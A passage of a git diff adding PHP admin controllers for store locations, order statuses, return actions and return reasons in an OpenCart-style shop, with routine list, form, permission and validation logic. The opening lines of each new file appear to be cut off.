+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('setting/store');
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($location_info)) {
+ $data['name'] = $location_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['address'])) {
+ $data['address'] = $this->request->post['address'];
+ } elseif (!empty($location_info)) {
+ $data['address'] = $location_info['address'];
+ } else {
+ $data['address'] = '';
+ }
+
+ if (isset($this->request->post['geocode'])) {
+ $data['geocode'] = $this->request->post['geocode'];
+ } elseif (!empty($location_info)) {
+ $data['geocode'] = $location_info['geocode'];
+ } else {
+ $data['geocode'] = '';
+ }
+
+ if (isset($this->request->post['telephone'])) {
+ $data['telephone'] = $this->request->post['telephone'];
+ } elseif (!empty($location_info)) {
+ $data['telephone'] = $location_info['telephone'];
+ } else {
+ $data['telephone'] = '';
+ }
+
+ if (isset($this->request->post['fax'])) {
+ $data['fax'] = $this->request->post['fax'];
+ } elseif (!empty($location_info)) {
+ $data['fax'] = $location_info['fax'];
+ } else {
+ $data['fax'] = '';
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($location_info)) {
+ $data['image'] = $location_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($location_info) && is_file(DIR_IMAGE . $location_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($location_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['open'])) {
+ $data['open'] = $this->request->post['open'];
+ } elseif (!empty($location_info)) {
+ $data['open'] = $location_info['open'];
+ } else {
+ $data['open'] = '';
+ }
+
+ if (isset($this->request->post['comment'])) {
+ $data['comment'] = $this->request->post['comment'];
+ } elseif (!empty($location_info)) {
+ $data['comment'] = $location_info['comment'];
+ } else {
+ $data['comment'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/location_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/location')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['address']) < 3) || (utf8_strlen($this->request->post['address']) > 128)) {
+ $this->error['address'] = $this->language->get('error_address');
+ }
+
+ if ((utf8_strlen($this->request->post['telephone']) < 3) || (utf8_strlen($this->request->post['telephone']) > 32)) {
+ $this->error['telephone'] = $this->language->get('error_telephone');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/location')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/order_status.php b/public/admin/controller/localisation/order_status.php
new file mode 100644
index 0000000..54d9a95
--- /dev/null
+++ b/public/admin/controller/localisation/order_status.php
@@ -0,0 +1,366 @@
+load->language('localisation/order_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/order_status');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/order_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/order_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_order_status->addOrderStatus($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/order_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/order_status');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_order_status->editOrderStatus($this->request->get['order_status_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/order_status');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/order_status');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $order_status_id) {
+ $this->model_localisation_order_status->deleteOrderStatus($order_status_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/order_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/order_status/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['order_statuses'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_status_total = $this->model_localisation_order_status->getTotalOrderStatuses();
+
+ $results = $this->model_localisation_order_status->getOrderStatuses($filter_data);
+
+ foreach ($results as $result) {
+ $data['order_statuses'][] = array(
+ 'order_status_id' => $result['order_status_id'],
+ 'name' => $result['name'] . (($result['order_status_id'] == $this->config->get('config_order_status_id')) ? $this->language->get('text_default') : null),
+ 'edit' => $this->url->link('localisation/order_status/edit', 'user_token=' . $this->session->data['user_token'] . '&order_status_id=' . $result['order_status_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_status_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_status_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_status_total - $this->config->get('config_limit_admin'))) ? $order_status_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_status_total, ceil($order_status_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/order_status_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['order_status_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['order_status_id'])) {
+ $data['action'] = $this->url->link('localisation/order_status/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/order_status/edit', 'user_token=' . $this->session->data['user_token'] . '&order_status_id=' . $this->request->get['order_status_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/order_status', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['order_status'])) {
+ $data['order_status'] = $this->request->post['order_status'];
+ } elseif (isset($this->request->get['order_status_id'])) {
+ $data['order_status'] = $this->model_localisation_order_status->getOrderStatusDescriptions($this->request->get['order_status_id']);
+ } else {
+ $data['order_status'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/order_status_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/order_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['order_status'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 32)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/order_status')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $order_status_id) {
+ if ($this->config->get('config_order_status_id') == $order_status_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ if ($this->config->get('config_download_status_id') == $order_status_id) {
+ $this->error['warning'] = $this->language->get('error_download');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByOrderStatusId($order_status_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrdersByOrderStatusId($order_status_id);
+
+ if ($order_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $order_total);
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrderHistoriesByOrderStatusId($order_status_id);
+
+ if ($order_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $order_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/localisation/return_action.php b/public/admin/controller/localisation/return_action.php
new file mode 100644
index 0000000..0c48625
--- /dev/null
+++ b/public/admin/controller/localisation/return_action.php
@@ -0,0 +1,345 @@
+load->language('localisation/return_action');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_action');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/return_action');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_action');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_action->addReturnAction($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/return_action');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_action');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_action->editReturnAction($this->request->get['return_action_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/return_action');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_action');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $return_action_id) {
+ $this->model_localisation_return_action->deleteReturnAction($return_action_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/return_action/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/return_action/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['return_actions'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_action_total = $this->model_localisation_return_action->getTotalReturnActions();
+
+ $results = $this->model_localisation_return_action->getReturnActions($filter_data);
+
+ foreach ($results as $result) {
+ $data['return_actions'][] = array(
+ 'return_action_id' => $result['return_action_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('localisation/return_action/edit', 'user_token=' . $this->session->data['user_token'] . '&return_action_id=' . $result['return_action_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $return_action_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($return_action_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($return_action_total - $this->config->get('config_limit_admin'))) ? $return_action_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $return_action_total, ceil($return_action_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_action_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['return_action_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['return_action_id'])) {
+ $data['action'] = $this->url->link('localisation/return_action/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/return_action/edit', 'user_token=' . $this->session->data['user_token'] . '&return_action_id=' . $this->request->get['return_action_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/return_action', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['return_action'])) {
+ $data['return_action'] = $this->request->post['return_action'];
+ } elseif (isset($this->request->get['return_action_id'])) {
+ $data['return_action'] = $this->model_localisation_return_action->getReturnActionDescriptions($this->request->get['return_action_id']);
+ } else {
+ $data['return_action'] = array();
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/return_action_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_action')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['return_action'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 64)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/return_action')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('sale/return');
+
+ foreach ($this->request->post['selected'] as $return_action_id) {
+ $return_total = $this->model_sale_return->getTotalReturnsByReturnActionId($return_action_id);
+
+ if ($return_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_return'), $return_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/return_reason.php b/public/admin/controller/localisation/return_reason.php
new file mode 100644
index 0000000..8291ef0
--- /dev/null
+++ b/public/admin/controller/localisation/return_reason.php
@@ -0,0 +1,345 @@
+load->language('localisation/return_reason');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_reason');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/return_reason');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_reason');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_reason->addReturnReason($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/return_reason');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_reason');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_return_reason->editReturnReason($this->request->get['return_reason_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/return_reason');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/return_reason');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $return_reason_id) {
+ $this->model_localisation_return_reason->deleteReturnReason($return_reason_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/return_reason/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/return_reason/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['return_reasons'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $return_reason_total = $this->model_localisation_return_reason->getTotalReturnReasons();
+
+ $results = $this->model_localisation_return_reason->getReturnReasons($filter_data);
+
+ foreach ($results as $result) {
+ $data['return_reasons'][] = array(
+ 'return_reason_id' => $result['return_reason_id'],
+ 'name' => $result['name'],
+ 'edit' => $this->url->link('localisation/return_reason/edit', 'user_token=' . $this->session->data['user_token'] . '&return_reason_id=' . $result['return_reason_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/return_reason', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
